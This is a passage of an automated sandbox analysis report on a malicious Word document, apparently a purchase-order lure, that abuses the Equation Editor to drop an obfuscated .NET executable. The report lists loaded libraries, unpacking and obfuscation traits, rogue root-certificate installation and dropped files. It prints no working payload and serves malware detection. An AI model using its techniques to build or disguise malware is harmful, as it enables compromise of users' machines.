Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: riched20.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64win.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: msi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dwmapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\InProcServer32 Jump to behavior
Source: Thyssenkrupp PO040232.LNK.0.dr LNK file: ..\..\..\..\..\Desktop\Thyssenkrupp PO040232.doc
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior

Data Obfuscation
barindex
.NET source code contains potential unpacker
Source: XcsQpLjhNNvxYtrw[1].exe.2.dr, Form1.cs .Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: hgqilegacy20306.exe.2.dr, Form1.cs .Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: 5.2.hgqilegacy20306.exe.349a8a0.8.raw.unpack, FfqA4hD1YFgf9Fce7S.cs .Net Code: Y0SUwLXjc4 System.Reflection.Assembly.Load(byte[])
Source: 5.2.hgqilegacy20306.exe.56d0000.9.raw.unpack, FfqA4hD1YFgf9Fce7S.cs .Net Code: Y0SUwLXjc4 System.Reflection.Assembly.Load(byte[])
Source: 5.2.hgqilegacy20306.exe.221582c.3.raw.unpack, JK.cs .Net Code: ve System.Reflection.Assembly.Load(byte[])
Source: 5.2.hgqilegacy20306.exe.2266ca8.2.raw.unpack, JK.cs .Net Code: ve System.Reflection.Assembly.Load(byte[])
Source: 5.2.hgqilegacy20306.exe.221ee44.5.raw.unpack, JK.cs .Net Code: ve System.Reflection.Assembly.Load(byte[])
Source: 5.2.hgqilegacy20306.exe.22702c0.4.raw.unpack, JK.cs .Net Code: ve System.Reflection.Assembly.Load(byte[])
Source: 5.2.hgqilegacy20306.exe.680000.0.raw.unpack, JK.cs .Net Code: ve System.Reflection.Assembly.Load(byte[])
Uses code obfuscation techniques (call, push, ret)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002A7236 push esp; iretd 2_2_002A723D
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0029E000 push ebp; ret 2_2_0029E193
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002AC878 push 00000037h; iretd 2_2_002AC885
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002AC2A0 pushfd ; retn 002Ah 2_2_002AC2A1
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002AC29A pushfd ; retn 002Ah 2_2_002AC29D
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002AC362 push 68002AC3h; ret 2_2_002AC36D
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002ABD4C pushad ; retf 2_2_002ABEB5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0029E194 push ebp; ret 2_2_0029E193
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0029E194 push ebp; ret 2_2_0029E46F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002A55DF push esp; iretd 2_2_002A55E1
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 5_2_00235FF8 pushad ; retf 5_2_00235FF9
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_002521D8 push ebx; iretd 8_2_002521EA
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_005F90F8 pushfd ; retn 0055h 8_2_005F90F9
Source: XcsQpLjhNNvxYtrw[1].exe.2.dr Static PE information: section name: .text entropy: 7.880526514779496
Source: hgqilegacy20306.exe.2.dr Static PE information: section name: .text entropy: 7.880526514779496
Source: 5.2.hgqilegacy20306.exe.349a8a0.8.raw.unpack, B5htBfs6Eq60LvMyWr.cs High entropy of concatenated method names: 'w57qscG8RD', 'x7YqmqC8Eh', 'ocGqkZwtlW', 'YEOkZu65Z3', 'WuCkzB7aRn', 'PLdqFVe9nq', 'or2qBxUlFK', 'ECFqWpjDeU', 'mh8qrHFT6u', 'u7gqUiT0Rl'
Source: 5.2.hgqilegacy20306.exe.349a8a0.8.raw.unpack, bmncYvqpj1lkAkdaQY.cs High entropy of concatenated method names: 'Dispose', 'IcXBCLO8dK', 'OprWH8BmSy', 'qyxVVUCACc', 'rWyBZKWZOd', 'ca6BzUmIwp', 'ProcessDialogKey', 'bvsWFFNFRT', 'pHJWB2uDHa', 'vNdWWWcIPj'
Source: 5.2.hgqilegacy20306.exe.349a8a0.8.raw.unpack, Kfn4gOm6qJR5uQnJ51.cs High entropy of concatenated method names: 'Cev1B8FA1K', 'C0x1rEctfk', 'lt51UPv0iK', 'g8U1sCb5y0', 'UpQ1IT9URT', 'PXW1yMqku4', 'qL41kVLh3p', 'DaaPoI8YYe', 'HXwPiaOwJN', 'kIBPCnQAKB'
Source: 5.2.hgqilegacy20306.exe.349a8a0.8.raw.unpack, cTP0ujQ4unMvfM1Q7j.cs High entropy of concatenated method names: 'T1tuM2V1Z1', 'tmdu3YGU3n', 'r5juGdGarH', 'fBeuHNSPOs', 'reouhLNGS1', 'Tfuu2pAZ9V', 'OlLuE1IDtm', 'u4wundyhXV', 'LZbufJtWM4', 'qUeupD3qq4'
Source: 5.2.hgqilegacy20306.exe.349a8a0.8.raw.unpack, pCZRiIVyb8gQ36Jscb.cs High entropy of concatenated method names: 'Cuaq78BXpo', 'eJfq6HMgjS', 'eoNqwvC5rd', 'n9yqNy8V1U', 'D6pqacncpB', 'L0hqgFOoqt', 'dNsqt7eiIE', 'XZWqMtoxh1', 'kC0q3op3cR', 'mYHqYYn5rP'
Source: 5.2.hgqilegacy20306.exe.349a8a0.8.raw.unpack, cwSp48wlWmdkLMUbRn.cs High entropy of concatenated method names: 'YEXQiOCpha', 'TaqQZDtBtO', 'DHuPFXYXjy', 'viIPBQ1KGj', 'cX1QpIeU2M', 'P5VQ8MFB9k', 'sU5QLhT4MT', 'yyFQKj8KlP', 'bLLQDB4jdj', 'z3kQ4fxAmt'
Source: 5.2.hgqilegacy20306.exe.349a8a0.8.raw.unpack, zgULROdx53FtcVdxrb.cs High entropy of concatenated method names: 'ljHQAuITy9', 'uQMQOvu2MZ', 'ToString', 'aUcQsRUM9K', 'mpVQIWvX1f', 'qFoQm70Zmc', 'mObQyEmfyW', 'hWRQkbnxa3', 'VjFQqVyDSd', 'W3AQvtY0ew'
Source: 5.2.hgqilegacy20306.exe.349a8a0.8.raw.unpack, UYIMtqoPLcKSuPT8Sm.cs High entropy of concatenated method names: 'goMIKEWGeg', 'u26IDOFC3S', 'SnuI4VSAbs', 'LY3ITX53PE', 'xDIIxvDqFd', 'UDZIXBCEAA', 'gpGIoKANAZ', 'oGXIijDnAf', 'fn7ICD14NO', 'SnGIZk8esT'
Source: 5.2.hgqilegacy20306.exe.349a8a0.8.raw.unpack, og6JZM7vcsSTvWXxUG.cs High entropy of concatenated method names: 'ERRwaHVGW', 'PWUNOYQMo', 'c53gwwlZD', 'TBcta9ZMg', 'gq33w8AIW', 'y8VYB2MGO', 'Q4IiSUo47JKLSEiFBd', 'tMW6m9FUrVTGaqjil8', 'kfvPKDh1i', 'tmveCGFjw'
Source: 5.2.hgqilegacy20306.exe.349a8a0.8.raw.unpack, v0c3BnzsGGvxHTnpZq.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Ebs1uHhiHO', 'Hao1cAbcfb', 'qIQ1bOZDPP', 'LAK1QZBWWy', 'xtq1PwkA1O', 'upK11Rdb9c', 'nFG1eGPsy9'
Source: 5.2.hgqilegacy20306.exe.349a8a0.8.raw.unpack, EiI4J1gsgEpvMUVeIr.cs High entropy of concatenated method names: 'AvVPsX52Xk', 'yrFPIWsbO7', 'BAaPmY3Ysn', 'sHgPyxNyah', 'q6NPkkUymK', 'gtWPqQlQJ5', 'lI6Pvd2pri', 'kfCP5aipUr', 'deBPAnUgV8', 'pGJPOgxdv9'
Source: 5.2.hgqilegacy20306.exe.349a8a0.8.raw.unpack, sstE2rE2FHbpyWHeil.cs High entropy of concatenated method names: 'QyLmN1trIt', 'bpAmgpjF07', 'rCPmMshCaO', 'wHXm3naUdw', 'mLOmctTHPM', 'Y28mbJCZwg', 'K8AmQI3Vew', 'ua0mPakMIA', 'DZtm1LESoN', 's44menTDNP'
Source: 5.2.hgqilegacy20306.exe.349a8a0.8.raw.unpack, dVbdYWjrJy6D8mXC3HN.cs High entropy of concatenated method names: 'V0V17Lrlsa', 'euF16Ff0Ws', 'SJg1wE6CU3', 'ArE1NvZ53S', 'S9o1aHDwXA', 'yhN1gmsQqN', 'gY41tOkoUB', 'i2A1MoedVd', 'K3K13jXEU6', 'njl1Y3ePZB'
Source: 5.2.hgqilegacy20306.exe.349a8a0.8.raw.unpack, k1ljfRRekjotoW2QGo.cs High entropy of concatenated method names: 'FH4PGlZaS4', 'xw5PHprckX', 'E6jPd7le3e', 'JfFPh1JS7a', 'sk0PKqpjXb', 'IC5P2h3Fed', 'Next', 'Next', 'Next', 'NextBytes'
Source: 5.2.hgqilegacy20306.exe.349a8a0.8.raw.unpack, QnUNhefD2F9UwihjTT.cs High entropy of concatenated method names: 'efnBqqGBAg', 'uFsBvZt3pj', 'jfNBA97M80', 'lNdBOwyOyj', 'TYwBc7RaWT', 's9gBbTrNPs', 'OT7orF2AP6v02ilR6u', 'j2qM2nWYESVyEb63hP', 'NHOBBsq2Id', 'VatBr5BoRF'
Source: 5.2.hgqilegacy20306.exe.349a8a0.8.raw.unpack, oQbKyJ809BxJXn8WyT.cs High entropy of concatenated method names: 'uAkcfwODai', 'NA0c8UgXma', 'ceTcKs6tNl', 'VyicDsKdUH', 'COlcHigPv8', 'UDvcdL9lZC', 'FSmchVySOJ', 'lL0c2ICxRt', 'EMucSwlaBF', 'UdGcEhr5Ib'
Source: 5.2.hgqilegacy20306.exe.349a8a0.8.raw.unpack, cbW82iCn8DJ8wSMm2p.cs High entropy of concatenated method names: 'SffkjgIaHA', 'oGNkI1yC23', 'FrwkyIg9rg', 'C09kqjqZWP', 'zKSkv2RVO1', 'ojiyxa0NDh', 'ta1yXA9HnP', 'lipyoDg95t', 'w7yyi3U0mb', 'uf9yCgcbOx'
Source: 5.2.hgqilegacy20306.exe.349a8a0.8.raw.unpack, FfqA4hD1YFgf9Fce7S.cs High entropy of concatenated method names: 'U3qrjQn2sV', 'OberstitGJ', 'jcUrI6B4Nf', 'r78rm95Los', 'GNsryCi5JM', 'xOHrkpPH0f', 'k1IrqCk1BV', 'HPnrvB3xHG', 'y8Jr5oG57U', 'natrAMMtBj'
Source: 5.2.hgqilegacy20306.exe.56d0000.9.raw.unpack, B5htBfs6Eq60LvMyWr.cs High entropy of concatenated method names: 'w57qscG8RD', 'x7YqmqC8Eh', 'ocGqkZwtlW', 'YEOkZu65Z3', 'WuCkzB7aRn', 'PLdqFVe9nq', 'or2qBxUlFK', 'ECFqWpjDeU', 'mh8qrHFT6u', 'u7gqUiT0Rl'
Source: 5.2.hgqilegacy20306.exe.56d0000.9.raw.unpack, bmncYvqpj1lkAkdaQY.cs High entropy of concatenated method names: 'Dispose', 'IcXBCLO8dK', 'OprWH8BmSy', 'qyxVVUCACc', 'rWyBZKWZOd', 'ca6BzUmIwp', 'ProcessDialogKey', 'bvsWFFNFRT', 'pHJWB2uDHa', 'vNdWWWcIPj'
Source: 5.2.hgqilegacy20306.exe.56d0000.9.raw.unpack, Kfn4gOm6qJR5uQnJ51.cs High entropy of concatenated method names: 'Cev1B8FA1K', 'C0x1rEctfk', 'lt51UPv0iK', 'g8U1sCb5y0', 'UpQ1IT9URT', 'PXW1yMqku4', 'qL41kVLh3p', 'DaaPoI8YYe', 'HXwPiaOwJN', 'kIBPCnQAKB'
Source: 5.2.hgqilegacy20306.exe.56d0000.9.raw.unpack, cTP0ujQ4unMvfM1Q7j.cs High entropy of concatenated method names: 'T1tuM2V1Z1', 'tmdu3YGU3n', 'r5juGdGarH', 'fBeuHNSPOs', 'reouhLNGS1', 'Tfuu2pAZ9V', 'OlLuE1IDtm', 'u4wundyhXV', 'LZbufJtWM4', 'qUeupD3qq4'
Source: 5.2.hgqilegacy20306.exe.56d0000.9.raw.unpack, pCZRiIVyb8gQ36Jscb.cs High entropy of concatenated method names: 'Cuaq78BXpo', 'eJfq6HMgjS', 'eoNqwvC5rd', 'n9yqNy8V1U', 'D6pqacncpB', 'L0hqgFOoqt', 'dNsqt7eiIE', 'XZWqMtoxh1', 'kC0q3op3cR', 'mYHqYYn5rP'
Source: 5.2.hgqilegacy20306.exe.56d0000.9.raw.unpack, cwSp48wlWmdkLMUbRn.cs High entropy of concatenated method names: 'YEXQiOCpha', 'TaqQZDtBtO', 'DHuPFXYXjy', 'viIPBQ1KGj', 'cX1QpIeU2M', 'P5VQ8MFB9k', 'sU5QLhT4MT', 'yyFQKj8KlP', 'bLLQDB4jdj', 'z3kQ4fxAmt'
Source: 5.2.hgqilegacy20306.exe.56d0000.9.raw.unpack, zgULROdx53FtcVdxrb.cs High entropy of concatenated method names: 'ljHQAuITy9', 'uQMQOvu2MZ', 'ToString', 'aUcQsRUM9K', 'mpVQIWvX1f', 'qFoQm70Zmc', 'mObQyEmfyW', 'hWRQkbnxa3', 'VjFQqVyDSd', 'W3AQvtY0ew'
Source: 5.2.hgqilegacy20306.exe.56d0000.9.raw.unpack, UYIMtqoPLcKSuPT8Sm.cs High entropy of concatenated method names: 'goMIKEWGeg', 'u26IDOFC3S', 'SnuI4VSAbs', 'LY3ITX53PE', 'xDIIxvDqFd', 'UDZIXBCEAA', 'gpGIoKANAZ', 'oGXIijDnAf', 'fn7ICD14NO', 'SnGIZk8esT'
Source: 5.2.hgqilegacy20306.exe.56d0000.9.raw.unpack, og6JZM7vcsSTvWXxUG.cs High entropy of concatenated method names: 'ERRwaHVGW', 'PWUNOYQMo', 'c53gwwlZD', 'TBcta9ZMg', 'gq33w8AIW', 'y8VYB2MGO', 'Q4IiSUo47JKLSEiFBd', 'tMW6m9FUrVTGaqjil8', 'kfvPKDh1i', 'tmveCGFjw'
Source: 5.2.hgqilegacy20306.exe.56d0000.9.raw.unpack, v0c3BnzsGGvxHTnpZq.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Ebs1uHhiHO', 'Hao1cAbcfb', 'qIQ1bOZDPP', 'LAK1QZBWWy', 'xtq1PwkA1O', 'upK11Rdb9c', 'nFG1eGPsy9'
Source: 5.2.hgqilegacy20306.exe.56d0000.9.raw.unpack, EiI4J1gsgEpvMUVeIr.cs High entropy of concatenated method names: 'AvVPsX52Xk', 'yrFPIWsbO7', 'BAaPmY3Ysn', 'sHgPyxNyah', 'q6NPkkUymK', 'gtWPqQlQJ5', 'lI6Pvd2pri', 'kfCP5aipUr', 'deBPAnUgV8', 'pGJPOgxdv9'
Source: 5.2.hgqilegacy20306.exe.56d0000.9.raw.unpack, sstE2rE2FHbpyWHeil.cs High entropy of concatenated method names: 'QyLmN1trIt', 'bpAmgpjF07', 'rCPmMshCaO', 'wHXm3naUdw', 'mLOmctTHPM', 'Y28mbJCZwg', 'K8AmQI3Vew', 'ua0mPakMIA', 'DZtm1LESoN', 's44menTDNP'
Source: 5.2.hgqilegacy20306.exe.56d0000.9.raw.unpack, dVbdYWjrJy6D8mXC3HN.cs High entropy of concatenated method names: 'V0V17Lrlsa', 'euF16Ff0Ws', 'SJg1wE6CU3', 'ArE1NvZ53S', 'S9o1aHDwXA', 'yhN1gmsQqN', 'gY41tOkoUB', 'i2A1MoedVd', 'K3K13jXEU6', 'njl1Y3ePZB'
Source: 5.2.hgqilegacy20306.exe.56d0000.9.raw.unpack, k1ljfRRekjotoW2QGo.cs High entropy of concatenated method names: 'FH4PGlZaS4', 'xw5PHprckX', 'E6jPd7le3e', 'JfFPh1JS7a', 'sk0PKqpjXb', 'IC5P2h3Fed', 'Next', 'Next', 'Next', 'NextBytes'
Source: 5.2.hgqilegacy20306.exe.56d0000.9.raw.unpack, QnUNhefD2F9UwihjTT.cs High entropy of concatenated method names: 'efnBqqGBAg', 'uFsBvZt3pj', 'jfNBA97M80', 'lNdBOwyOyj', 'TYwBc7RaWT', 's9gBbTrNPs', 'OT7orF2AP6v02ilR6u', 'j2qM2nWYESVyEb63hP', 'NHOBBsq2Id', 'VatBr5BoRF'
Source: 5.2.hgqilegacy20306.exe.56d0000.9.raw.unpack, oQbKyJ809BxJXn8WyT.cs High entropy of concatenated method names: 'uAkcfwODai', 'NA0c8UgXma', 'ceTcKs6tNl', 'VyicDsKdUH', 'COlcHigPv8', 'UDvcdL9lZC', 'FSmchVySOJ', 'lL0c2ICxRt', 'EMucSwlaBF', 'UdGcEhr5Ib'
Source: 5.2.hgqilegacy20306.exe.56d0000.9.raw.unpack, cbW82iCn8DJ8wSMm2p.cs High entropy of concatenated method names: 'SffkjgIaHA', 'oGNkI1yC23', 'FrwkyIg9rg', 'C09kqjqZWP', 'zKSkv2RVO1', 'ojiyxa0NDh', 'ta1yXA9HnP', 'lipyoDg95t', 'w7yyi3U0mb', 'uf9yCgcbOx'
Source: 5.2.hgqilegacy20306.exe.56d0000.9.raw.unpack, FfqA4hD1YFgf9Fce7S.cs High entropy of concatenated method names: 'U3qrjQn2sV', 'OberstitGJ', 'jcUrI6B4Nf', 'r78rm95Los', 'GNsryCi5JM', 'xOHrkpPH0f', 'k1IrqCk1BV', 'HPnrvB3xHG', 'y8Jr5oG57U', 'natrAMMtBj'
Source: 5.2.hgqilegacy20306.exe.221582c.3.raw.unpack, JK.cs High entropy of concatenated method names: 'JK', 'Y3', 'Lv', 'F5', 'q9', 'Ou', 'NL', 'tg', 'Jy', 'kq'
Source: 5.2.hgqilegacy20306.exe.2266ca8.2.raw.unpack, JK.cs High entropy of concatenated method names: 'JK', 'Y3', 'Lv', 'F5', 'q9', 'Ou', 'NL', 'tg', 'Jy', 'kq'
Source: 5.2.hgqilegacy20306.exe.221ee44.5.raw.unpack, JK.cs High entropy of concatenated method names: 'JK', 'Y3', 'Lv', 'F5', 'q9', 'Ou', 'NL', 'tg', 'Jy', 'kq'
Source: 5.2.hgqilegacy20306.exe.22702c0.4.raw.unpack, JK.cs High entropy of concatenated method names: 'JK', 'Y3', 'Lv', 'F5', 'q9', 'Ou', 'NL', 'tg', 'Jy', 'kq'
Source: 5.2.hgqilegacy20306.exe.680000.0.raw.unpack, JK.cs High entropy of concatenated method names: 'JK', 'Y3', 'Lv', 'F5', 'q9', 'Ou', 'NL', 'tg', 'Jy', 'kq'

Persistence and Installation Behavior
barindex
Installs new ROOT certificates
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Drops PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\XcsQpLjhNNvxYtrw[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Jump to dropped file
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT Jump to behavior
Stores large binary data to the registry
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
